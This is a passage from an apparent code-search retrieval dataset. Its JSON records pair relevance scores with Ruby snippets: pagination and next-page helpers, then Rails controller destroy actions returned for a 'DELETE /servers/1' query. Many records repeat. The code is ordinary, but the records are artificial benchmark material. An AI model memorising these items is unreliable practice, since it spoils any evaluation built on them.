"title": ""
},
{
"docid": "9cf653ccdd90f46f124b1c6a2c64ec0a",
"score": "0.7071317",
"text": "def get_next_page(page)\n # Todo: Put your code here to get the next page to be scraped\n next_page_condition = page.search('input[id$=nextPageHyperLink]')\n if !next_page_condition.empty? \n link = get_next_url()\n page = @agent.get(link)\n return page\n else\n return nil\n end\nend",
"title": ""
},
{
"docid": "9cf653ccdd90f46f124b1c6a2c64ec0a",
"score": "0.7071317",
"text": "def get_next_page(page)\n # Todo: Put your code here to get the next page to be scraped\n next_page_condition = page.search('input[id$=nextPageHyperLink]')\n if !next_page_condition.empty? \n link = get_next_url()\n page = @agent.get(link)\n return page\n else\n return nil\n end\nend",
"title": ""
},
{
"docid": "febc77cfa1ff0a6e52981a2cd71c63c5",
"score": "0.7048048",
"text": "def next_page?(page)\n url = page.css('a.lister-page-next')\n if url.empty?\n return nil\n else\n url[0].attributes[\"href\"].value\n end\nend",
"title": ""
},
{
"docid": "5219a1d87c91f1b96e084fcfa2631c7c",
"score": "0.7042593",
"text": "def get_next_page(xml)\n #次のURLをGET\n doc = REXML::Document.new xml\n next_url=''\n doc.root.each_element_with_attribute('rel','next'){|link|\n next_url= link.attributes['href']\n }\n uri = URI.parse(next_url)\n #次がなければnil返して終了\n if nil == uri.path || nil == uri.query then\n return nil\n end\n return uri.path+\"?\"+uri.query\n end",
"title": ""
},
{
"docid": "9301e9a8de87448d809a41850fe76011",
"score": "0.7036076",
"text": "def next_page\n CraigScrape::Listings.new next_page_url if next_page_url\n end",
"title": ""
},
{
"docid": "5f48b73f874b73b897a1a2fdf71358cd",
"score": "0.702879",
"text": "def next_page\n graph.first_object [page_subject, Ldp.nextPage, nil]\n end",
"title": ""
},
{
"docid": "5f48b73f874b73b897a1a2fdf71358cd",
"score": "0.702879",
"text": "def next_page\n graph.first_object [page_subject, Ldp.nextPage, nil]\n end",
"title": ""
},
{
"docid": "0aee19a011bda80a8b3463c38b3b3cc1",
"score": "0.7012293",
"text": "def pagy_next_link(pagy, text: pagy_t('pagy.nav.next'), link_extra: '')\n if pagy.next\n %(<span class=\"page next\"><a href=\"#{\n pagy_url_for(pagy, pagy.next, html_escaped: true)\n }\" rel=\"next\" aria-label=\"next\" #{\n pagy.vars[:link_extra]\n } #{link_extra}>#{text}</a></span>)\n else\n %(<span class=\"page next disabled\">#{text}</span>)\n end\n end",
"title": ""
},
{
"docid": "f22b86b9da898d5768788f137bdb04b2",
"score": "0.6991878",
"text": "def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\nend",
"title": ""
},
{
"docid": "f22b86b9da898d5768788f137bdb04b2",
"score": "0.6991878",
"text": "def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\nend",
"title": ""
},
{
"docid": "df0fecdafff63dfcece59c0189aeb947",
"score": "0.69796705",
"text": "def next_link_for(records)\n uri = URI.parse(request.original_url)\n query = Rack::Utils.parse_query(uri.query)\n query['page'] = records.next_page\n uri.query = Rack::Utils.build_query(query)\n uri.to_s\n end",
"title": ""
},
{
"docid": "4e7cf8ead58183da3430051cd37aa648",
"score": "0.6977437",
"text": "def get_next_page(page)\n # Todo: Put your code here to get the next page to be scraped \nend",
"title": ""
},
{
"docid": "4e7cf8ead58183da3430051cd37aa648",
"score": "0.6977437",
"text": "def get_next_page(page)\n # Todo: Put your code here to get the next page to be scraped \nend",
"title": ""
},
{
"docid": "d562a3a9ca5785cb24728fdd713992eb",
"score": "0.69690543",
"text": "def next_page(client = request.client)\n raise ArgumentError, 'missing client' if client.nil?\n\n return nil unless link[:next]\n\n client.get(request.path, link[:next])\n end",
"title": ""
},
{
"docid": "7fb08b5eb50e42d51b73150b4c810a0b",
"score": "0.6941785",
"text": "def next_page\n return unless @next_page\n \"<a class='btn' href=\\\"#{modify_page(1)}\\\">Next Page</a>\"\n end",
"title": ""
},
{
"docid": "fb4f96ad3745e938291103623d6f4b18",
"score": "0.69260776",
"text": "def next_url_str\n \"#{@url_base_str}?#{@query_str_verb}&#{@query_str_next_page}\"\n end",
"title": ""
},
{
"docid": "a40d085b2cfd4689a2eb7014b120053f",
"score": "0.6888852",
"text": "def next_page\n return false if final_page?\n next_button = @search_results_page.links_with(text: 'next')[0]\n @search_results_page = next_button.click\n end",
"title": ""
},
{
"docid": "324c03f42c5c543ccee0c5812ee5cbae",
"score": "0.68815696",
"text": "def get_next_page(page)\n # Todo: Put your code here to get the next page to be scraped\nend",
"title": ""
},
{
"docid": "324c03f42c5c543ccee0c5812ee5cbae",
"score": "0.68815696",
"text": "def get_next_page(page)\n # Todo: Put your code here to get the next page to be scraped\nend",
"title": ""
},
{
"docid": "324c03f42c5c543ccee0c5812ee5cbae",
"score": "0.68815696",
"text": "def get_next_page(page)\n # Todo: Put your code here to get the next page to be scraped\nend",
"title": ""
},
{
"docid": "324c03f42c5c543ccee0c5812ee5cbae",
"score": "0.68815696",
"text": "def get_next_page(page)\n # Todo: Put your code here to get the next page to be scraped\nend",
"title": ""
},
{
"docid": "88430ada19f88985aec8ee940f274657",
"score": "0.68728036",
"text": "def next_link\n text = template.content_tag(:span, template.translate(\"previous\", :default => \"Next >\"))\n unless last_page?\n template.link_to text, next_url, :class => \"next\"\n else\n template.content_tag :span, text, :class => \"next disabled\"\n end\n end",
"title": ""
},
{
"docid": "673efa17d2230daa9c570ddb2c1a9a4f",
"score": "0.68717676",
"text": "def next_show_url\n show_number = latest_show_link['href'].scan(/\\/(\\d+)\\//)[0][0]\n next_show_number = show_number.to_i.next.to_s\n latest_show_link['href'].sub(show_number, next_show_number)\n end",
"title": ""
},
{
"docid": "1a5830a5037214545b36f77087e17058",
"score": "0.6855403",
"text": "def get_next_page(page)\n # Todo: Put your code here to get the next page to be scraped\n next_page_condition = page.search('input[id$=ctl00_MainBodyContent_mNextButton]')\n if !next_page_condition.empty? \n link = get_next_url()\n page = @agent.get(link)\n return page\n else\n return nil\n end\nend",
"title": ""
},
{
"docid": "1a5830a5037214545b36f77087e17058",
"score": "0.6855403",
"text": "def get_next_page(page)\n # Todo: Put your code here to get the next page to be scraped\n next_page_condition = page.search('input[id$=ctl00_MainBodyContent_mNextButton]')\n if !next_page_condition.empty? \n link = get_next_url()\n page = @agent.get(link)\n return page\n else\n return nil\n end\nend",
"title": ""
},
{
"docid": "7fc0f72c7146abf1a72dc49fc8b1093a",
"score": "0.68417734",
"text": "def next\n @links.key?(:next) ? Page.new(@links[:next]) : nil\n end",
"title": ""
},
{
"docid": "94e45d06a15798dd18c6e0c2a4523ad1",
"score": "0.68316346",
"text": "def next_page\n @page = @page.next\n doc_content = open(\"#{@url}?page=#{@page}\", \"User-Agent\" => @user_agent)\n @doc = Nokogiri::HTML( doc_content )\n page_results = self.parse_page\n page_results\n end",
"title": ""
},
{
"docid": "ab62b73de4b0638369046f238a2e3627",
"score": "0.6809433",
"text": "def link_to_next_page(link)\n\t\n\t\tif @page >= @page_count\n\t\t\tcontent_tag 'span', link, :class => 'smaller'\n\t\telse\n\t\t\tfp = @fp.merge({:pg => @page+1})\n\t\t\tlink_to \"<span>#{link}</span>\", { :action => controller.action_name }.update(fp), :class=>'btn smaller'\n\t\tend\n\tend",
"title": ""
},
{
"docid": "7aafc3859727bf3fbaa19511a82bf039",
"score": "0.6805274",
"text": "def next_page\n RGhost::PsObject.new :next_page\n end",
"title": ""
},
{
"docid": "718aadfd122d16d6ef2aba6d81f034dc",
"score": "0.6801387",
"text": "def next_link\n return if @links.empty?\n\n write_link @current_link, @driver.link_style\n\n @current_link += 1\n @current_link = 0 if @current_link >= @links.length\n\n write_link @current_link, @driver.hover_style\n\n scroll_to @links[@current_link].first\n end",
"title": ""
},
{
"docid": "7bb702c754e0eb723cb7a95816717d6e",
"score": "0.6797714",
"text": "def check_next_page listings, path\n link_to 'Next', path, class: 'nxt-pg', remote: true if valid_next_page? listings\n end",
"title": ""
},
{
"docid": "86a86b9fc9344b6ccb9cd21b5b1758ed",
"score": "0.6777093",
"text": "def link_to_next_document(next_document)\n link_opts = session_tracking_params(next_document, search_session['counter'].to_i + 1).merge(:class => \"next\", :rel => 'next')\n link_to_unless next_document.nil?, raw(t('views.pagination.next')), \"/catalog/#{next_document['id']}#{borealis_path(next_document)}?\", link_opts do\n content_tag :span, raw(t('views.pagination.next')), :class => 'next'\n end\n end",
"title": ""
},
{
"docid": "a846dd64e25f11d3e5bd49cae4ce740d",
"score": "0.67768407",
"text": "def pagy_next_link_tag(pagy)\n %(<link href=\"#{pagy_url_for(pagy, pagy.next, html_escaped: true)}\" rel=\"next\"/>) if pagy.next\n end",
"title": ""
},
{
"docid": "674c61334399dc069fa858e5bfa03f52",
"score": "0.6771559",
"text": "def goto_page url\n\tbegin\n\t\tpage=Nokogiri::HTML(open(url))\n\t\tif(page.css(\"#bodyContent\").css('p').css('a') != nil)\n\t\t\tlinks=page.css('#bodyContent').css('p').css('a') #gets all the link tags\n\t\telse\n\t\t\tputs \"NO VALID LINKS\"\n\t\t\treturn\n\t\tend\n\t\tnextLink=\"en.wikipedia.org\"\n\t\tfor l in links\n\t\t\tnextLink=l['href']\n\t\t\tbreak if valid? l['href'] #if the link is not something special, like a file or a cite note, it breaks the loop and calls the current link nextLink\n\t\tend\n\trescue\n\t\tputs \"ERROR PROCESSING '#{url}'\"\n\tend\n\t#return the object\n\treturn {:page => page, :title => page.css('title').text[0...page.css('title').text.index('- Wikipedia')-1], :nextLink=>\"https://en.wikipedia.org#{nextLink}\"}\nend",
"title": ""
},
{
"docid": "385dc222c1011dc84bb317f88bd55e5f",
"score": "0.6768578",
"text": "def next_link(instance)\n text = 'Next'\n if instance.respond_to?(:project_id)\n link_object = instance.class.base_class.order(id: :asc).with_project_id(instance.project_id).where(['id > ?', instance.id]).limit(1).first\n else\n link_object = instance.class.base_class.order(id: :asc).where(['id > ?', instance.id]).limit(1).first\n end\n link_object.nil? ? text : link_to(text, link_object.metamorphosize)\n end",
"title": ""
},
{
"docid": "f471420d1d57c1b9dc00d3b219597387",
"score": "0.67608315",
"text": "def get_next_page(response)\n next_page_url = response.headers[:link].match(/^<([^>]*)>; rel=\\\"next/)\n request_uri = URI.parse(next_page_url.captures.first)\n endpoint = [request_uri.path.split('/').last, request_uri.query].join('?')\n sleep TIME_BETWEEN_CALLS\n call(endpoint: endpoint)\n end",
"title": ""
},
{
"docid": "bdf919ac9d7a47f0e2f26d37064de5e9",
"score": "0.67575693",
"text": "def link_to_next_issue_page(next_document)\n link_opts = {}\n link_to_unless next_document.nil?, raw(t('views.issue.next')), url_for_document(next_document), link_opts do\n content_tag :span, raw(t('views.issue.next')), :class => ''\n end\n end",
"title": ""
},
{
"docid": "f00b2dfec9b384c442c2bd510eb11e9e",
"score": "0.6753441",
"text": "def next_page_url_from(html)\n next_page_href = html.\n xpath(\"//table[@id='nav']/tbody/tr/td[last()]/a/@href\")[0]\n return nil if next_page_href.nil?\n return \"http://google.com#{next_page_href.value}\"\n end",
"title": ""
},
{
"docid": "68b91df5a0354c64e2bdf91b50aaedfb",
"score": "0.67516804",
"text": "def get_next_page(response)\n next_page_url = response.headers[:link].match(/^<([^>]*)>; rel=\\\"next/)\n request_uri = URI.parse(next_page_url.captures.first)\n # TODO: remove.. not generic\n base_uri = '/services/4.0/'\n endpoint = [request_uri.path.split(base_uri).last, request_uri.query].join('?')\n sleep @time_between_calls\n call(endpoint: endpoint)\n end",
"title": ""
},
{
"docid": "5da3d2e99190f4cf9eb50de968f912d5",
"score": "0.67423576",
"text": "def pagination_link_next(str,options={})\n paginator = options[:paginator]\n puts \"next: #{paginator}\"\n actions = []\n unless paginator.current.next.nil?\n options[:url][:page] = paginator.current.next\n actions << link_to_remote(str, options)\n end\n \"#{actions}\"\n end",
"title": ""
},
{
"docid": "5da3d2e99190f4cf9eb50de968f912d5",
"score": "0.67423576",
"text": "def pagination_link_next(str,options={})\n paginator = options[:paginator]\n puts \"next: #{paginator}\"\n actions = []\n unless paginator.current.next.nil?\n options[:url][:page] = paginator.current.next\n actions << link_to_remote(str, options)\n end\n \"#{actions}\"\n end",
"title": ""
},
{
"docid": "399f8116ead402b8953b0167904cd3ab",
"score": "0.6687627",
"text": "def extractChapterLinks(content)\n chapters = [] \n\n content.scan(/href=\"(.+?.pdf)\"/).each{\n |link| \n if link[0].include? \"fulltext.pdf\"\n chapters.push(link[0]) \n $LOG.debug(link[0])\n end\n }\n\n #look for next page\n match = content.match(/<a href=\"([^\"]+)\">Next<\\/a>/)\n if match.nil? \n return chapters \n else\n $LOG.info(\"Found next Page\")\n return chapters + extractChapterLinks(fetch(match[1].gsub(\"&\", \"&\")))\n end\nend",
"title": ""
},
{
"docid": "dfe418a24e9a7a6dcfc995b4185e744b",
"score": "0.6683874",
"text": "def get_NextPage()\n \t return @outputs[\"NextPage\"]\n \tend",
"title": ""
},
{
"docid": "dfe418a24e9a7a6dcfc995b4185e744b",
"score": "0.6683874",
"text": "def get_NextPage()\n \t return @outputs[\"NextPage\"]\n \tend",
"title": ""
},
{
"docid": "dfe418a24e9a7a6dcfc995b4185e744b",
"score": "0.6683874",
"text": "def get_NextPage()\n \t return @outputs[\"NextPage\"]\n \tend",
"title": ""
},
{
"docid": "dfe418a24e9a7a6dcfc995b4185e744b",
"score": "0.6683874",
"text": "def get_NextPage()\n \t return @outputs[\"NextPage\"]\n \tend",
"title": ""
},
{
"docid": "dfe418a24e9a7a6dcfc995b4185e744b",
"score": "0.6683874",
"text": "def get_NextPage()\n \t return @outputs[\"NextPage\"]\n \tend",
"title": ""
},
{
"docid": "dfe418a24e9a7a6dcfc995b4185e744b",
"score": "0.6683874",
"text": "def get_NextPage()\n \t return @outputs[\"NextPage\"]\n \tend",
"title": ""
},
{
"docid": "dfe418a24e9a7a6dcfc995b4185e744b",
"score": "0.6683874",
"text": "def get_NextPage()\n \t return @outputs[\"NextPage\"]\n \tend",
"title": ""
}
] |
7e8c8f76aa6414553ac9c5f7695236c6 | DELETE /servers/1 DELETE /servers/1.json | [
{
"docid": "e86c3930de8ec2387e4cb4c61c27493a",
"score": "0.7336874",
"text": "def destroy\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :ok }\n end\n end",
"title": ""
}
] | [
{
"docid": "95a8ad72a1b56a408d5af3231bdb0223",
"score": "0.7449699",
"text": "def destroy\n @server = compute.get_server(params[:id])\n @server.delete!\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "153e58976fdbfa7383392757fbb2a4ab",
"score": "0.73966694",
"text": "def destroy\n name, type = resource[:name].split('/')\n nameserver = resource[:nameserver]\n nsupdate(\"server #{nameserver}\n update delete #{name}. #{type}\n send\")\n end",
"title": ""
},
{
"docid": "174b723f9e43bfa7501a9cdc389e4c1b",
"score": "0.7338293",
"text": "def delete\n @response = self.class.delete(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\")\n end",
"title": ""
},
{
"docid": "1fa9820e400b728ac22d6ff0e73adbb2",
"score": "0.73303217",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "1fa9820e400b728ac22d6ff0e73adbb2",
"score": "0.73303217",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "1fa9820e400b728ac22d6ff0e73adbb2",
"score": "0.73303217",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "75496901872c6a77f4cb605aa46c02da",
"score": "0.7316482",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "75496901872c6a77f4cb605aa46c02da",
"score": "0.7316482",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "75496901872c6a77f4cb605aa46c02da",
"score": "0.7316482",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "75496901872c6a77f4cb605aa46c02da",
"score": "0.7316482",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cec32947382273e9ee162425b727d826",
"score": "0.7309028",
"text": "def destroy\n @server = get_server(params[:id])\n destroy_server(@server)\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d474ab340c2e29e7449e405bce40742c",
"score": "0.73042387",
"text": "def destroy\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5fbab89da1e9f4655764e1ac995a3ce0",
"score": "0.7188056",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to(servers_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "78d8e92c45ff7760eb54816993532404",
"score": "0.7087889",
"text": "def destroy\n @admin_server = Server.find(params[:id])\n @admin_server.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_servers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "921f4a12a79362a9704766377cc99fd5",
"score": "0.7062389",
"text": "def destroy\n @server.destroy\n respond_to do |format|\n format.html { redirect_to servers_url, notice: 'Server was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "921f4a12a79362a9704766377cc99fd5",
"score": "0.7062389",
"text": "def destroy\n @server.destroy\n respond_to do |format|\n format.html { redirect_to servers_url, notice: 'Server was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b1a8849fdbb518084bf908753a9a9b49",
"score": "0.7061156",
"text": "def destroy\n @server = Server.find(params[:server_id])\n @ping_log = @server.ping_logs.find(params[:id])\n @ping_log.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ffae3337d9fdc93d3dd37ea124526498",
"score": "0.70486194",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to(servers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ffae3337d9fdc93d3dd37ea124526498",
"score": "0.70486194",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to(servers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ffae3337d9fdc93d3dd37ea124526498",
"score": "0.70486194",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to(servers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ffae3337d9fdc93d3dd37ea124526498",
"score": "0.70486194",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to(servers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ffae3337d9fdc93d3dd37ea124526498",
"score": "0.70486194",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to(servers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9f2eae5b1d6df13976bb47dba1d1e427",
"score": "0.7038683",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n #destroy corresponding digest link\n @digest = Serverdigest.find(:all, :conditions => { :servername => @server[\"name\"] } ).first\n if @digest != nil\n @digest.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to servers_url, notice: 'Server was successfully deleted.' }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9747d7e9e4145a138f7f8bbbaef5967a",
"score": "0.70253503",
"text": "def destroy\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_group_servers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9efd4efd5d34c4c7090d05a79f2a3659",
"score": "0.70174146",
"text": "def destroy\n\t\t@server = Server.find(params[:id])\n\t\t@server.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to servers_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "2ad6fdd46670781b5c024bd3ec58265a",
"score": "0.7005618",
"text": "def destroy\n @server = current_user.account.servers.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to(servers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "2922051f108cd7b0ba6307d7773451ab",
"score": "0.6973567",
"text": "def destroy\n @master_server = MasterServer.find(params[:id])\n @master_server.destroy\n\n respond_to do |format|\n format.html { redirect_to master_servers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ba3510bd61cf64d4d4b3d9c6d212a53a",
"score": "0.6960759",
"text": "def delete_server(server_id)\n nr_api.delete(url('servers', server_id)).body\n end",
"title": ""
},
{
"docid": "b1a17c1ee1af05c79fe156622df44818",
"score": "0.69530886",
"text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end",
"title": ""
},
{
"docid": "7a0e69d4b1958684e5ebe80d49ead9e9",
"score": "0.69108516",
"text": "def destroy\n http_api.delete(\"clients/#{@name}\")\n end",
"title": ""
},
{
"docid": "c3d0962e6d63247da0e4bdc2d160bdf4",
"score": "0.690514",
"text": "def destroy\n @server.destroy\n respond_to do |format|\n format.html { redirect_to servers_url, notice: \"Registro Removido com Sucesso\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "455c5d3e9273b99c7c28238fcaaaa768",
"score": "0.68913114",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n redirect_to servers_url, :notice => \"Server deleted.\"\n end",
"title": ""
},
{
"docid": "43b24c07d6ab108b3d951a38968d43d0",
"score": "0.6878125",
"text": "def destroy\n @server = RdsServer.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_rds_servers_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "045390e24b3517a39668b90840a72efb",
"score": "0.6876136",
"text": "def destroy\n @server = Server.accessible_by(current_ability).find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to(servers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "045390e24b3517a39668b90840a72efb",
"score": "0.6876136",
"text": "def destroy\n @server = Server.accessible_by(current_ability).find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to(servers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ffab8bee261d47624540aec1ac1f3fd3",
"score": "0.687082",
"text": "def destroy\n @chase_server.destroy\n respond_to do |format|\n format.html { redirect_to chase_servers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b677aa4c9794ea41ceb9c15b3db6fa4d",
"score": "0.68471926",
"text": "def destroy\n @admin_server.destroy\n respond_to do |format|\n format.html { redirect_to admin_servers_url, notice: 'Server was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1034c34f407095f3e06409ba3e07cee1",
"score": "0.67598015",
"text": "def delete\n API.delete_server(@bot.token, @id)\n end",
"title": ""
},
{
"docid": "eb4e240fcc2af58193c500f97c54b1f8",
"score": "0.6737302",
"text": "def destroy\n `echo 'remove: {\"server_port\": #{@client.port} }' | socat -t 0 - UDP:127.0.0.1:6001`\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9c8ef0b4313fef9d26c4290371bc530d",
"score": "0.6735422",
"text": "def delete!\n client.delete(:path => base_path)\n nil\n end",
"title": ""
},
{
"docid": "98dcfbfbcb0654ea3a68b904ac84dd2f",
"score": "0.673509",
"text": "def destroy\n @configuration_server = Cnf::Server.find(params[:id])\n @configuration_server.destroy\n\n respond_to do |format|\n format.html { redirect_to config_servers_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c3f0388c9dc6a6686541450164ec2432",
"score": "0.6728904",
"text": "def delete\n @server.delete(@uri, @credentials)\n @deleted = true\n end",
"title": ""
},
{
"docid": "5d7bbb7179463c838da18aac88862846",
"score": "0.6721686",
"text": "def destroy\n @server_status = ServerStatus.find(params[:id])\n @server_status.destroy\n\n respond_to do |format|\n format.html { redirect_to server_statuses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec1600c8cf2f4aa72dcb5fdec8fbb6c8",
"score": "0.6700686",
"text": "def destroy\n @server_list = ServerList.find(params[:id])\n @server_list.destroy\n\n respond_to do |format|\n format.html { redirect_to server_lists_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c205af460fb23bf1af0a3eb96d3c3662",
"score": "0.66969067",
"text": "def fog_test_server_destroy\n server = service.servers.find { |s| s.name == fog_server_name }\n server.destroy if server\nend",
"title": ""
},
{
"docid": "c205af460fb23bf1af0a3eb96d3c3662",
"score": "0.66969067",
"text": "def fog_test_server_destroy\n server = service.servers.find { |s| s.name == fog_server_name }\n server.destroy if server\nend",
"title": ""
},
{
"docid": "89e4d9d1ce92e7e34c141d9bdcc82fa9",
"score": "0.66688424",
"text": "def destroy\n @serv = Serv.find(params[:id])\n @serv.destroy\n\n respond_to do |format|\n format.html { redirect_to servs_url, notice: t('servs.delete.notice') }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8811cd1784c383a9ab8b182019512eb6",
"score": "0.66555023",
"text": "def destroy\n @client = Client.find(params[:id])\n define_path\n ServerFileOperation.delete(@client.home_directory,@public_path)\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to(clients_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "1fe8028efe295bd1efc3aabea90929bd",
"score": "0.66539633",
"text": "def destroy\n requires :id\n service.destroy_server id\n end",
"title": ""
},
{
"docid": "822ddea2e45bf78350003645efcbdb54",
"score": "0.6651567",
"text": "def delete uri, args = {}; Request.new(DELETE, uri, args).execute; end",
"title": ""
},
{
"docid": "3ce93bcd96dd37067394c514a407ab41",
"score": "0.6647381",
"text": "def destroy\n @serverrack = Serverrack.find(params[:id])\n @serverrack.destroy\n\n respond_to do |format|\n format.html { redirect_to serverracks_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a922db46f590aa222347564f4f92513d",
"score": "0.66455656",
"text": "def destroy\n @fake_dns_server.destroy\n respond_to do |format|\n format.html { redirect_to fake_dns_servers_url, notice: 'Fake dns server was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b445c184893647d3482f8fbc6a507a52",
"score": "0.66419154",
"text": "def delete(path, params = {})\n path += '.json'\n res = @connection.delete(path, @header)\n parse_response(res)\n end",
"title": ""
},
{
"docid": "4c1c164b581dbae14285797e584e8fb7",
"score": "0.6641132",
"text": "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"title": ""
},
{
"docid": "0a72896999312e173dd18961dc478401",
"score": "0.66409665",
"text": "def destroy\n @monitor_server.destroy\n respond_to do |format|\n format.html { redirect_to monitor_servers_url, notice: 'Server was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a3d8cc1424e3faecac6b2997e338a205",
"score": "0.6627164",
"text": "def destroy\n @server = current_user.servers.find(params[:id])\n @server.destroy\n redirect_to servers_url\n end",
"title": ""
},
{
"docid": "f10ec797a3271c529c643f1ddc60c092",
"score": "0.66249967",
"text": "def destroy\r\n @client1.destroy\r\n respond_to do |format|\r\n format.html { redirect_to client1s_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "c64c6253cb2291a45dce21801e7f3271",
"score": "0.6615612",
"text": "def destroy\n @app_server.destroy\n respond_to do |format|\n format.html { redirect_to app_servers_url, notice: 'App server was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ab9001e34d2b3e763cfb4dfa9c587fce",
"score": "0.66099346",
"text": "def destroy\n @varnish_server = VarnishServer.find(params[:id])\n @varnish_server.destroy\n\n respond_to do |format|\n format.html { redirect_to varnish_servers_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9db9062c1fb10e87550ee05c1bd37e0e",
"score": "0.6608598",
"text": "def fog_test_server_destroy\n server = service.servers.find { |s| s.name == 'fog-test-server' }\n server.destroy if server\nend",
"title": ""
},
{
"docid": "b52b45f63bd65c90d140677ee2aeda40",
"score": "0.6600486",
"text": "def destroy\n if @client.destroy\n head(:ok)\n else\n head(:unprocessable_entity)\n end\n end",
"title": ""
},
{
"docid": "1691790ee2ee34cc8e6be6f7bb8d7f8d",
"score": "0.6591042",
"text": "def delete\n client.delete uri\n end",
"title": ""
},
{
"docid": "1691790ee2ee34cc8e6be6f7bb8d7f8d",
"score": "0.6591042",
"text": "def delete\n client.delete uri\n end",
"title": ""
},
{
